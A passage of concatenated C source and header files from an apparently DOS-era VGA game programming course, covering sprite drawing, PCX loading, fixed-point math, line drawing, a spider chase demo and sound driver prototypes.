Sprite_Init((sprite_ptr)&object,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&object,0,0,0);
object.x = 0;
object.y = 100;
object.curr_frame = 0;
object.state = 1;
// scan behind all objects before entering event loop
Behind_Sprite_DB((sprite_ptr)&object);
// SECTION 4 //////////////////////////////////////////////////////////////////
// main event loop
while(!kbhit())
{
// erase all objects
Erase_Sprite_DB((sprite_ptr)&object);
// SECTION 5 //////////////////////////////////////////////////////////////////
// move object with costant velocity
object.x+=VELOCITY;
// test if object is beyond edge of screen, if so send back to
// other edge
if (object.x>319-50)
object.x = 0;
// SECTION 6 //////////////////////////////////////////////////////////////////
// scan background under objects
Behind_Sprite_DB((sprite_ptr)&object);
// draw all the imagery
Draw_Sprite_DB((sprite_ptr)&object);
// copy the double buffer to the screen
Show_Double_Buffer(double_buffer);
// wait a sec
Delay(1);
} // end while
// SECTION 7 //////////////////////////////////////////////////////////////////
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
// free the double buffer
Delete_Double_Buffer();
} // end main
<file_sep>/WGAMELIB/GRAPH4.C
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // load in module 3's header
#include "graph4.h" // load in this modules header
// G L O B A L S ////////////////////////////////////////////////////////////
unsigned int sprite_width = SPRITE_WIDTH; // default height and width of sprite
unsigned int sprite_height = SPRITE_HEIGHT;
// F U N C T I O N S /////////////////////////////////////////////////////////
unsigned char Get_Pixel(int x,int y)
{
// gets the color value of pixel at (x,y) from the screen and returns it
return video_buffer[((y<<8) + (y<<6)) + x];
} // end Get_Pixel
//////////////////////////////////////////////////////////////////////////////
void PCX_Init(pcx_picture_ptr image)
{
// this function allocates the buffer region needed to load a pcx file
if (!(image->buffer = (char far *)_fmalloc(SCREEN_WIDTH * SCREEN_HEIGHT + 1)))
printf("\ncouldn't allocate screen buffer");
} // end PCX_Init
//////////////////////////////////////////////////////////////////////////////
void PCX_Load(char *filename, pcx_picture_ptr image,int enable_palette)
{
// this function loads a pcx file into a picture structure, the actual image
// data for the pcx file is decompressed and expanded into a secondary buffer
// within the picture structure, the separate images can be grabbed from this
// buffer later. also the header and palette are loaded
FILE *fp;
int num_bytes,index;
long count;
unsigned char data;
char far *temp_buffer;
// open the file
fp = fopen(filename,"rb");
// load the header
temp_buffer = (char far *)image;
for (index=0; index<128; index++)
{
temp_buffer[index] = (char)getc(fp);
} // end for index
// load the data and decompress into buffer
count=0;
while(count<=SCREEN_WIDTH * SCREEN_HEIGHT)
{
// get the first piece of data
data = (unsigned char)getc(fp);
// is this a rle?
if (data>=192 && data<=255)
{
// how many bytes in run?
num_bytes = data-192;
// get the actual data for the run
data = (unsigned char)getc(fp);
// replicate data in buffer num_bytes times
while(num_bytes-->0)
{
image->buffer[count++] = data;
} // end while
} // end if rle
else
{
// actual data, just copy it into buffer at next location
image->buffer[count++] = data;
} // end else not rle
} // end while
// move to end of file then back up 768 bytes i.e. to begining of palette
fseek(fp,-768L,SEEK_END);
// load the pallete into the palette
for (index=0; index<256; index++)
{
// get the red component
image->palette[index].red = (unsigned char)(getc(fp) >> 2);
// get the green component
image->palette[index].green = (unsigned char)(getc(fp) >> 2);
// get the blue component
image->palette[index].blue = (unsigned char)(getc(fp) >> 2);
} // end for index
fclose(fp);
// change the palette to newly loaded palette if commanded to do so
if (enable_palette)
{
// for each palette register set to the new color values
for (index=0; index<256; index++)
{
Set_Palette_Register(index,(RGB_color_ptr)&image->palette[index]);
} // end for index
} // end if change palette
} // end PCX_Load
//////////////////////////////////////////////////////////////////////////////
void PCX_Delete(pcx_picture_ptr image)
{
// this function de-allocates the buffer region used for the pcx file load
_ffree(image->buffer);
} // end PCX_Delete
//////////////////////////////////////////////////////////////////////////////
void PCX_Show_Buffer(pcx_picture_ptr image)
{
// just copy he pcx buffer into the video buffer
char far *data;
data = image->buffer;
_asm
{
push ds ; save the data segment
les di, video_buffer ; point es:di to video buffer
lds si, data ; point ds:si to data area
mov cx,320*200/2 ; move 32000 words
cld ; set direction to foward
rep movsw ; do the string operation
pop ds ; restore the data segment
}
} // end PCX_Show_Picture
//////////////////////////////////////////////////////////////////////////////
void Sprite_Init(sprite_ptr sprite,int x,int y,int ac,int as,int mc,int ms)
{
// this function initializes a sprite with the sent data
int index;
sprite->x = x;
sprite->y = y;
sprite->x_old = x;
sprite->y_old = y;
sprite->width = sprite_width;
sprite->height = sprite_height;
sprite->anim_clock = ac;
sprite->anim_speed = as;
sprite->motion_clock = mc;
sprite->motion_speed = ms;
sprite->curr_frame = 0;
sprite->state = SPRITE_DEAD;
sprite->num_frames = 0;
sprite->background = (char far *)_fmalloc(sprite_width * sprite_height+1);
// set all bitmap pointers to null
for (index=0; index<MAX_SPRITE_FRAMES; index++)
sprite->frames[index] = NULL;
} // end Sprite_Init
//////////////////////////////////////////////////////////////////////////////
void Sprite_Delete(sprite_ptr sprite)
{
// this function deletes all the memory associated with a sprire
int index;
_ffree(sprite->background);
// now de-allocate all the animation frames
for (index=0; index<MAX_SPRITE_FRAMES; index++)
_ffree(sprite->frames[index]);
} // end Sprite_Delete
//////////////////////////////////////////////////////////////////////////////
void PCX_Grab_Bitmap(pcx_picture_ptr image,
sprite_ptr sprite,
int sprite_frame,
int grab_x, int grab_y)
{
// this function will grap a bitmap from the pcx frame buffer. it uses the
// convention that the 320x200 pixel matrix is sub divided into a smaller
// matrix of nxn adjacent squares
int x_off,y_off, x,y;
char far *sprite_data;
// first allocate the memory for the sprite in the sprite structure
sprite->frames[sprite_frame] = (char far *)_fmalloc(sprite_width * sprite_height + 1);
// create an alias to the sprite frame for ease of access
sprite_data = sprite->frames[sprite_frame];
// now load the sprite data into the sprite frame array from the pcx picture
x_off = (sprite_width+1) * grab_x + 1;
y_off = (sprite_height+1) * grab_y + 1;
// compute starting y address
y_off = y_off * 320;
for (y=0; y<sprite_height; y++)
{
for (x=0; x<sprite_width; x++)
{
// get the next byte of current row and place into next position in
// sprite frame data buffer
sprite_data[y*sprite_width + x] = image->buffer[y_off + x_off + x];
} // end for x
// move to next line of picture buffer
y_off+=320;
} // end for y
// increment number of frames
sprite->num_frames++;
// done!, let's bail!
} // end PCX_Grab_Bitmap
//////////////////////////////////////////////////////////////////////////////
void Behind_Sprite(sprite_ptr sprite)
{
// this function scans the background behind a sprite so that when the sprite
// is draw, the background isnn'y obliterated
char far *work_back;
int work_offset=0,offset,y;
// alias a pointer to sprite background for ease of access
work_back = sprite->background;
// compute offset of background in video buffer
offset = (sprite->y << 8) + (sprite->y << 6) + sprite->x;
for (y=0; y<sprite_height; y++)
{
// copy the next row out off screen buffer into sprite background buffer
_fmemcpy((char far *)&work_back[work_offset],
(char far *)&video_buffer[offset],
sprite_width);
// move to next line in video buffer and in sprite background buffer
offset += SCREEN_WIDTH;
work_offset += sprite_width;
} // end for y
} // end Behind_Sprite
//////////////////////////////////////////////////////////////////////////////
void Erase_Sprite(sprite_ptr sprite)
{
// replace the background that was behind the sprite
// this function replaces the background that was saved from where a sprite
// was going to be placed
char far *work_back;
int work_offset=0,offset,y;
// alias a pointer to sprite background for ease of access
work_back = sprite->background;
// compute offset of background in video buffer
offset = (sprite->y << 8) + (sprite->y << 6) + sprite->x;
for (y=0; y<sprite_height; y++)
{
// copy the next row out off screen buffer into sprite background buffer
_fmemcpy((char far *)&video_buffer[offset],
(char far *)&work_back[work_offset],
sprite_width);
// move to next line in video buffer and in sprite background buffer
offset += SCREEN_WIDTH;
work_offset += sprite_width;
} // end for y
} // end Erase_Sprite
//////////////////////////////////////////////////////////////////////////////
void Draw_Sprite(sprite_ptr sprite)
{
// this function draws a sprite on the screen row by row very quickly
// note the use of shifting to implement multplication
char far *work_sprite;
int work_offset=0,offset,x,y;
unsigned char data;
// alias a pointer to sprite for ease of access
work_sprite = sprite->frames[sprite->curr_frame];
// compute offset of sprite in video buffer
offset = (sprite->y << 8) + (sprite->y << 6) + sprite->x;
for (y=0; y<sprite_height; y++)
{
// copy the next row into the screen buffer using memcpy for speed
for (x=0; x<sprite_width; x++)
{
// test for transparent pixel i.e. 0, if not transparent then draw
data=work_sprite[work_offset+x];
if (data)
video_buffer[offset+x] = data;
} // end for x
// move to next line in video buffer and in sprite bitmap buffer
offset += SCREEN_WIDTH;
work_offset += sprite_width;
} // end for y
} // end Draw_Sprite
///////////////////////////////////////////////////////////////////////////////
int Sprite_Collide(sprite_ptr sprite_1, sprite_ptr sprite_2)
{
// this function tests the bounding boxes of each sprite to see if a
// collision has occured, if so a 1 is returned else a 0 is returned
int dx,dy;
// compute amount of overlap, if any
dx = abs(sprite_1->x - sprite_2->x);
dy = abs(sprite_1->y - sprite_2->y);
// test x and y extents, note how the width and height are decreased by a
// percentage of the actual width and height. this is to make the bounding
// box a little more realistic since very seldomly will an object be
// rectangula, this helps to insure that there is a solid collision
if (dx<(sprite_width-(sprite_width>>3)) && dy<(sprite_height-(sprite_height>>3)))
{
return(1);
} // end if collision occured
else
{
return(0);
} // end else
} // end Sprite_Collide
<file_sep>/day_08/fixdemo.c
/// I N C L U D E S ///////////////////////////////////////////////////////////
#include <math.h>
#include <stdio.h>
// D E F I N E S /////////////////////////////////////////////////////////////
#define FP_SHIFT 8 // number of binary decimal digits
#define FP_SHIFT_2N 256 // 2^FP_SHIFT, used during conversion of floats
// S T R U C T U R E S ///////////////////////////////////////////////////////
// define our new magical fixed point data type
typedef long fixed;
// F U N C T I O N S //////////////////////////////////////////////////////////
fixed Assign_Integer(long integer)
{
// this function assigns a integer to a fixed point type by shifting
return((fixed)integer << FP_SHIFT);
} // end Assign_Integer
///////////////////////////////////////////////////////////////////////////////
fixed Assign_Float(float number)
{
// this function assigns a floating point number to a fixed point type
// by multiplication since it makes no sense to shift a floating point data type
return((fixed)(number * FP_SHIFT_2N));
} // end Assign_Float
///////////////////////////////////////////////////////////////////////////////
fixed Mul_Fixed(fixed f1,fixed f2)
{
// this function mulitplies two fixed point numbers and returns the result
// notice how the final result is shifted back
return((f1*f2) >> FP_SHIFT);
} // end Mul_Fixed
///////////////////////////////////////////////////////////////////////////////
fixed Div_Fixed(fixed f1,fixed f2)
{
// this function divvides two fixed point numbers and returns the result
// notice how the divedend is pre-shifted before the division
return((f1<<FP_SHIFT)/f2);
} // end Div_Fixed
///////////////////////////////////////////////////////////////////////////////
fixed Add_Fixed(fixed f1,fixed f2)
{
// this function adds two fixed point numbers and returns the result
// notice how no shifting is necessary
return(f1+f2);
} // end Add_Fixed
///////////////////////////////////////////////////////////////////////////////
fixed Sub_Fixed(fixed f1,fixed f2)
{
// this function subtracts two fixed point numbers and returns the result
// notice how no shifting is necessary
return(f1-f2);
} // end Sub_Fixed
///////////////////////////////////////////////////////////////////////////////
void Print_Fixed(fixed f1)
{
// this function prints out a fixed point number, it does this by
// extracting the portion to the left of the imaginary decimal and
// extracting the portion to the right of the imaginary decimal point
printf("%ld.%ld",f1 >> FP_SHIFT, 100*(unsigned long)(f1 & 0x00ff)/FP_SHIFT_2N);
} // end Print_Fixed
//M A I N //////////////////////////////////////////////////////////////////////
void main(void)
{
fixed f1,f2,f3; // defines some fixed point numbers
f1 = Assign_Float((float)15.00);
f2 = Assign_Float((float)233.45);
printf("\nf1:=");
Print_Fixed(f1);
printf("\nf2:=");
Print_Fixed(f2);
printf("\nf1+f2:=");
f3 = Add_Fixed(f1,f2);
Print_Fixed(f3);
printf("\nf1-f2:=");
f3 = Sub_Fixed(f1,f2);
Print_Fixed(f3);
printf("\nf1*f2:=");
f3 = Mul_Fixed(f1,f2);
Print_Fixed(f3);
printf("\nf2/f1:=");
f3 = Div_Fixed(f2,f1);
Print_Fixed(f3);
} // end main
<file_sep>/WGAMELIB/GRAPH8.C
/// I N C L U D E S ///////////////////////////////////////////////////////////
#include <math.h>
#include <stdio.h>
#include "graph8.h"
// F U N C T I O N S //////////////////////////////////////////////////////////
fixed Assign_Integer(long integer)
{
// this function assigns a integer to a fixed point type by shifting
return((fixed)integer << FP_SHIFT);
} // end Assign_Integer
///////////////////////////////////////////////////////////////////////////////
fixed Assign_Float(float number)
{
// this function assigns a floating point number to a fixed point type
// by multiplication since it makes no sense to shift a floating point data type
return((fixed)(number * FP_SHIFT_2N));
} // end Assign_Float
///////////////////////////////////////////////////////////////////////////////
fixed Mul_Fixed(fixed f1,fixed f2)
{
// this function mulitplies two fixed point numbers and returns the result
// notice how the final result is shifted back
return((f1*f2) >> FP_SHIFT);
} // end Mul_Fixed
///////////////////////////////////////////////////////////////////////////////
fixed Div_Fixed(fixed f1,fixed f2)
{
// this function divvides two fixed point numbers and returns the result
// notice how the divedend is pre-shifted before the division
return((f1<<FP_SHIFT)/f2);
} // end Div_Fixed
///////////////////////////////////////////////////////////////////////////////
fixed Add_Fixed(fixed f1,fixed f2)
{
// this function adds two fixed point numbers and returns the result
// notice how no shifting is necessary
return(f1+f2);
} // end Add_Fixed
///////////////////////////////////////////////////////////////////////////////
fixed Sub_Fixed(fixed f1,fixed f2)
{
// this function subtracts two fixed point numbers and returns the result
// notice how no shifting is necessary
return(f1-f2);
} // end Sub_Fixed
///////////////////////////////////////////////////////////////////////////////
void Print_Fixed(fixed f1)
{
// this function prints out a fixed point number, it does this by
// extracting the portion to the left of the imaginary decimal and
// extracting the portion to the right of the imaginary decimal point
printf("%ld.%ld",f1 >> FP_SHIFT, 100*(unsigned long)(f1 & 0x00ff)/FP_SHIFT_2N);
} // end Print_Fixed
<file_sep>/day_10/tracker.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
#include "graph6.h"
// P R O T O T Y P E S //////////////////////////////////////////////////////
// D E F I N E S /////////////////////////////////////////////////////////////
// states that the spider (tracker) can be in
#define TRACKER_ATTACK 0 // spider is attacking fly
#define TRACKER_EVADE 1 // spider is evading fly
// S T R U C T U R E S ///////////////////////////////////////////////////////
// G L O B A L S ////////////////////////////////////////////////////////////
pcx_picture imagery_pcx, // the game imagery
background_pcx; // the backdrop
// the sprites used in the game
sprite player, // the player
tracker; // the spider
// F U N C T I O N S //////////////////////////////////////////////////////////
void main(void)
{
// this is the main function
int done=0; // exit flag for whole system
// SECTION 1 /////////////////////////////////////////////////////////////////
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// create a double buffer
if (!Create_Double_Buffer(SCREEN_HEIGHT))
{
printf("\nNot enough memory to create double buffer.");
} // end if
// clear the double buffer
Fill_Double_Buffer(0);
// load in the background image into the double buffer
PCX_Init((pcx_picture_ptr)&background_pcx);
PCX_Load("trackbak.pcx", (pcx_picture_ptr)&background_pcx,1);
// copy the background into the double buffer
_fmemcpy((char far *)double_buffer,
(char far *)(background_pcx.buffer),
SCREEN_WIDTH*SCREEN_HEIGHT);
PCX_Delete((pcx_picture_ptr)&background_pcx);
Blit_String_DB(0,0,10,"Press Q to exit, T to toggle mode.",1);
// SECTION 2 /////////////////////////////////////////////////////////////////
// load in imagery for player
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("trackimg.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize player and extract bitmaps
sprite_width = 24;
sprite_height = 24;
Sprite_Init((sprite_ptr)&player,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&player,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&player,1,1,0);
player.x = 160;
player.y = 180;
player.curr_frame = 0;
player.state = 1;
// initialize the tracker and extract bitmaps
Sprite_Init((sprite_ptr)&tracker,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&tracker,0,0,1);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&tracker,1,1,1);
tracker.x = 20;
tracker.y = 20;
tracker.curr_frame = TRACKER_ATTACK;
tracker.state = TRACKER_ATTACK;
// SECTION 3 /////////////////////////////////////////////////////////////////
// scan behind all objects before entering event loop
Behind_Sprite_DB((sprite_ptr)&player);
Behind_Sprite_DB((sprite_ptr)&tracker);
// main event loop
while(!done)
{
// erase all objects
Erase_Sprite_DB((sprite_ptr)&player);
Erase_Sprite_DB((sprite_ptr)&tracker);
// do movement of spider based on mode
// SECTION 4 /////////////////////////////////////////////////////////////////
if (tracker.state==TRACKER_ATTACK)
{
// move spider toward player
// first take care of X components
if (player.x > tracker.x)
tracker.x+=2;
else
if (player.x < tracker.x)
tracker.x-=2;
// now Y components
if (player.y > tracker.y)
tracker.y+=2;
else
if (player.y < tracker.y)
tracker.y-=2;
} // end if spider is attacking
// SECTION 5 /////////////////////////////////////////////////////////////////
else
{
// move spider away from player
// first take care of X components
if (player.x > tracker.x)
tracker.x-=2;
else
if (player.x < tracker.x)
tracker.x+=2;
// now Y components
if (player.y > tracker.y)
tracker.y-=2;
else
if (player.y < tracker.y)
tracker.y+=2;
} // end else spider evading
// SECTION 6 /////////////////////////////////////////////////////////////////
// do boundary collision for spider
if (tracker.x<0)
tracker.x = 0;
else
if (tracker.x>194)
tracker.x = 194;
if (tracker.y<0)
tracker.y = 0;
else
if (tracker.y>174)
tracker.y = 174;
// SECTION 7 /////////////////////////////////////////////////////////////////
// see if player is trying to move
if (kbhit())
{
// which key ?
switch(getch())
{
// use numeric keypad for movement
// (note NUMLOCK must be activated)
case '1': // move down and left
{
player.x-=4;
player.y+=4;
} break;
case '2': // move down
{
player.y+=4;
} break;
case '3': // move right and down
{
player.x+=4;
player.y+=4;
} break;
case '4': // move left
{
player.x-=4;
} break;
case '6': // move right
{
player.x+=4;
} break;
case '7': // move up and left
{
player.x-=4;
player.y-=4;
} break;
case '8': // move up
{
player.y-=4;
} break;
case '9': // move up and right
{
player.x+=4;
player.y-=4;
} break;
case 't': // toggle attack mode
{
if (tracker.state==TRACKER_ATTACK)
tracker.state=tracker.curr_frame = TRACKER_EVADE;
else
tracker.state=tracker.curr_frame = TRACKER_ATTACK;
} break;
case 'q': // exit the demo
{
done = 1;
} break;
default:break;
} // end switch
// SECTION 8 /////////////////////////////////////////////////////////////////
// do boundary collision for player
if (player.x<0)
player.x = 304;
else
if (player.x>304)
player.x = 0;
if (player.y<0)
player.y = 184;
else
if (player.y>184)
player.y = 0;
} // end if kbhit
// SECTION 9 /////////////////////////////////////////////////////////////////
// do animation
if (++player.curr_frame==2)
player.curr_frame = 0;
// scan background under objects
Behind_Sprite_DB((sprite_ptr)&player);
Behind_Sprite_DB((sprite_ptr)&tracker);
// draw all the imagery
Draw_Sprite_DB((sprite_ptr)&player);
Draw_Sprite_DB((sprite_ptr)&tracker);
// copy the double buffer to the screen
Show_Double_Buffer(double_buffer);
// draw the state of spider on top of video buffer
if (tracker.state == TRACKER_ATTACK)
Blit_String(8,180,12,"Mode=Attack",1);
else
Blit_String(8,180,9,"Mode=Evade",1);
// wait a sec
Delay(1);
} // end while
// SECTION 10 ////////////////////////////////////////////////////////////////
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
// free the double buffer
Delete_Double_Buffer();
} // end main
<file_sep>/WGAMELIB/GRAPH5.H
// graph5.h //////////////////////////////////////////////////////////////////
// D E F I N E S /////////////////////////////////////////////////////////////
// global clipping region default value
#define POLY_CLIP_MIN_X 0
#define POLY_CLIP_MIN_Y 0
#define POLY_CLIP_MAX_X 319
#define POLY_CLIP_MAX_Y 199
#define MAX_VERTICES 16 // maximum numbr of vertices in a polygon
// S T R U C T U R E S ///////////////////////////////////////////////////////
typedef struct vertex_typ
{
float x,y; // the vertex in 2-D
} vertex, *vertex_ptr;
//////////////////////////////////////////////////////////////////////////////
// the polygon structure
typedef struct polygon_typ
{
int b_color; // border color
int i_color; // interior color
int closed; // is the polygon closed
int filled; // is this polygon filled
int lxo,lyo; // local origin of polygon
int num_vertices; // number of defined vertices
vertex vertices[MAX_VERTICES]; // the vertices of the polygon
} polygon, *polygon_ptr;
// P R O T O T Y P E S ///////////////////////////////////////////////////////
void Create_Tables(void);
void Rotate_Polygon(polygon_ptr poly, int angle);
void Scale_Polygon(polygon_ptr poly, float scale);
void Translate_Polygon(polygon_ptr poly, int dx,int dy);
void Draw_Polygon(polygon_ptr poly);
int Clip_Line(int *x1,int *y1,int *x2, int *y2);
void Draw_Polygon_Clip(polygon_ptr poly);
void Bline(int xo, int yo, int x1,int y1, unsigned char color);
void Draw_Boundary(int color);
// G L O B A L S ////////////////////////////////////////////////////////////
extern float sin_look[], // look up tables for sin and cosine
cos_look[];
// the clipping region, set it to default on start up
extern int poly_clip_min_x,
poly_clip_min_y,
poly_clip_max_x,
poly_clip_max_y;
<file_sep>/day_04/graph4.h
// GRAPH4.H
// D E F I N E S ////////////////////////////////////////////////////////////
#define SPRITE_WIDTH 16
#define SPRITE_HEIGHT 16
#define MAX_SPRITE_FRAMES 24
#define SPRITE_DEAD 0
#define SPRITE_ALIVE 1
#define SPRITE_DYING 2
// S T R U C T U R E S ///////////////////////////////////////////////////////
typedef struct pcx_header_typ
{
char manufacturer;
char version;
char encoding;
char bits_per_pixel;
int x,y;
int width,height;
int horz_res;
int vert_res;
char ega_palette[48];
char reserved;
char num_color_planes;
int bytes_per_line;
int palette_type;
char padding[58];
} pcx_header, *pcx_header_ptr;
typedef struct pcx_picture_typ
{
pcx_header header;
RGB_color palette[256];
char far *buffer;
} pcx_picture, *pcx_picture_ptr;
typedef struct sprite_typ
{
int x,y; // position of sprite
int x_old,y_old; // old position of sprite
int width,height; // dimensions of sprite in pixels
int anim_clock; // the animation clock
int anim_speed; // the animation speed
int motion_speed; // the motion speed
int motion_clock; // the motion clock
char far *frames[MAX_SPRITE_FRAMES]; // array of pointers to the images
int curr_frame; // current frame being displayed
int num_frames; // total number of frames
int state; // state of sprite, alive, dead...
char far *background; // whats under the sprite
void far *extra_data; // an auxialliary pointer to more
// data if needed
} sprite, *sprite_ptr;
// E X T E R N A L S /////////////////////////////////////////////////////////
// G L O B A L S ////////////////////////////////////////////////////////////
extern unsigned int sprite_width;
extern unsigned int sprite_height;
// P R O T O T Y P E S ///////////////////////////////////////////////////////
void PCX_Init(pcx_picture_ptr image);
void PCX_Load(char *filename, pcx_picture_ptr image,int enable_palette);
void PCX_Delete(pcx_picture_ptr image);
void PCX_Show_Buffer(pcx_picture_ptr image);
void Sprite_Init(sprite_ptr sprite,int x,int y,int ac,int as,int mc,int ms);
void Sprite_Delete(sprite_ptr sprite);
void PCX_Grab_Bitmap(pcx_picture_ptr image,
sprite_ptr sprite,
int sprite_frame,
int grab_x, int grab_y);
void Behind_Sprite(sprite_ptr sprite);
void Erase_Sprite(sprite_ptr sprite);
void Draw_Sprite(sprite_ptr sprite);
unsigned char Get_Pixel(int x,int y);
int Sprite_Collide(sprite_ptr sprite_1, sprite_ptr sprite_2);
<file_sep>/day_05/linedemo.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
// D E F I N E S /////////////////////////////////////////////////////////////
// S T R U C T U R E S ///////////////////////////////////////////////////////
// P R O T O T Y P E S ///////////////////////////////////////////////////////
void Bline(int xo, int yo, int x1,int y1, unsigned char color);
void Bounce(void);
// G L O B A L S ////////////////////////////////////////////////////////////
// F U N C T I O N S /////////////////////////////////////////////////////////
void Bounce(void)
{
// this function makes use of the bline function to bounce a line around
int xo,yo,x1,y1,x2,y2,x3,y3;
int dxo,dyo,dx1,dy1,dx2,dy2,dx3,dy3;
long counter=0;
int color=9;
// starting positions of lines
xo=x2=rand()%320;
yo=y2=rand()%200;
x1=x3=rand()%320;
y1=y3=rand()%200;
// velocities of lines
dxo=dx2=2+rand()%5;
dyo=dy2=3+rand()%5;
dx1=dx3=2+rand()%5;
dy1=dy3=2+rand()%5;
// animation loop
while(!kbhit())
{
// draw leader
Bline(xo,yo,x1,y1,color);
// move line
if ((xo+=dxo)>=315 || xo<5)
dxo=-dxo;
if ((yo+=dyo)>=195 || yo<5)
dyo=-dyo;
if ((x1+=dx1)>=315 || x1<5)
dx1=-dx1;
if ((y1+=dy1)>=195 || y1<5)
dy1=-dy1;
// test if it's time to follow the leader
if (++counter>50)
{
Bline(x2,y2,x3,y3,0);
// move line
if ((x2+=dx2)>=315 || x2<5)
dx2=-dx2;
if ((y2+=dy2)>=195 || y2<5)
dy2=-dy2;
if ((x3+=dx3)>=315 || x3<5)
dx3=-dx3;
if ((y3+=dy3)>=195 || y3<5)
dy3=-dy3;
} // end if time to follow
// wait a while so humans can see it
Delay(1);
// update color
if (counter>250)
{
if (++color>=16)
color=1;
counter = 51;
} // end if time to change color
} // end while
} // end Bounce
//////////////////////////////////////////////////////////////////////////////
void Bline(int xo, int yo, int x1,int y1, unsigned char color)
{
// this function uses Bresenham's algorithm IBM (1965) to draw a line from
// (xo,yo) - (x1,y1)
int dx, // difference in x's
dy, // difference in y's
x_inc, // amount in pixel space to move during drawing
y_inc, // amount in pixel space to move during drawing
error=0, // the discriminant i.e. error i.e. decision variable
index; // used for looping
unsigned char far *vb_start = video_buffer; // directly access the video
// buffer for speed
// SECTION 1 /////////////////////////////////////////////////////////////////
// pre-compute first pixel address in video buffer
// use shifts for multiplication
vb_start = vb_start + ((unsigned int)yo<<6) +
((unsigned int)yo<<8) +
(unsigned int)xo;
// compute deltas
dx = x1-xo;
dy = y1-yo;
// SECTION 2 /////////////////////////////////////////////////////////////////
// test which direction the line is going in i.e. slope angle
if (dx>=0)
{
x_inc = 1;
} // end if line is moving right
else
{
x_inc = -1;
dx = -dx; // need absolute value
} // end else moving left
// SECTION 3 /////////////////////////////////////////////////////////////////
// test y component of slope
if (dy>=0)
{
y_inc = 320; // 320 bytes per line
} // end if line is moving down
else
{
y_inc = -320;
dy = -dy; // need absolute value
} // end else moving up
// SECTION 4 /////////////////////////////////////////////////////////////////
// now based on which delta is greater we can draw the line
if (dx>dy)
{
// draw the line
for (index=0; index<=dx; index++)
{
// set the pixel
*vb_start = color;
// adjust the discriminate
error+=dy;
// test if error overflowed
if (error>dx)
{
error-=dx;
// move to next line
vb_start+=y_inc;
} // end if error overflowed
// move to the next pixel
vb_start+=x_inc;
} // end for
} // end if |slope| <= 1
else
{
// SECTION 5 /////////////////////////////////////////////////////////////////
// draw the line
for (index=0; index<=dy; index++)
{
// set the pixel
*vb_start = color;
// adjust the discriminate
error+=dx;
// test if error overflowed
if (error>0)
{
error-=dy;
// move to next line
vb_start+=x_inc;
} // end if error overflowed
// move to the next pixel
vb_start+=y_inc;
} // end for
} // end else |slope| > 1
} // end Bline
// M A I N ///////////////////////////////////////////////////////////////////
void main(void)
{
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// draw a couple lines
while(!kbhit())
{
// plot a line between a random start and end point
Bline(rand()%320,rand()%200,rand()%320,rand()%200,rand()%256);
} // end while
getch();
// clear the screen
Set_Video_Mode(VGA256);
// show off a little screen saver
Bounce();
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
} // end main
<file_sep>/day_16/graph9.h
// graph9.H - Header file //////////////////////////////////////////////////
// G L O B A L S E X T E R N A L D E C L A R A T I O N S////////////////////
extern char far *driver_ptr; // pointer to the sound driver ct-voice.drv
extern unsigned version; // holds the version of the driver
extern char far *data_ptr; // pointer to sound file
extern unsigned ct_voice_status; // global status variable
// P R O T O T Y P E S /////////////////////////////////////////////////////
void Voc_Get_Version(void);
int Voc_Init_Driver(void);
int Voc_Terminate_Driver(void);
void Voc_Set_Port(unsigned int port);
void Voc_Set_Speaker(unsigned int on);
int Voc_Play_Sound(unsigned char far *addr,unsigned char header_length);
int Voc_Stop_Sound(void);
int Voc_Pause_Sound(void);
int Voc_Continue_Sound(void);
int Voc_Break_Sound(void);
void Voc_Set_IRQ(unsigned int irq);
void Voc_Set_Status_Addr(char far *status);
void Voc_Load_Driver(void);
char far *Voc_Load_Sound(char *filename, unsigned char *header_length);
void Voc_Unload_Sound(char far *sound_ptr);
<file_sep>/day_04/STARSHIP.C
// I N C L U D E S ////////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include <graph.h> // microsoft's stuff if we need it
#include "graph3.h" // the module from day 3
#include "graph4.h" // the module from day 4
#include "better4.h" // my better functions
// D E F I N E S //////////////////////////////////////////////////////////////
#define RED1 0x04
#define RED2 0x0C
#define RED_GLOW 0x20
#define NUM_STARS 75
typedef struct star
{
int x;
int y;
unsigned int plane;
} star;
// G L O B A L S //////////////////////////////////////////////////////////////
unsigned char star_color[] = {8, 7, 15};
int star_dx[] = {2, 4, 6};
int star_dy[] = {0, 0, 0};
star stars[NUM_STARS];
// P R O T O T Y P E S ////////////////////////////////////////////////////////
void init_stars();
void update_stars();
// F U N C T I O N S //////////////////////////////////////////////////////////
int main()
{
pcx_picture ship_pcx;
sprite ship;
RGB_color red1, red2;
RGB_color glow;
unsigned int frame_counter=0;
int dir=-1;
int fade_count=0;
int trajectory [4][3] = { {0,0,0},
{1,2,4},
{2,4,6},
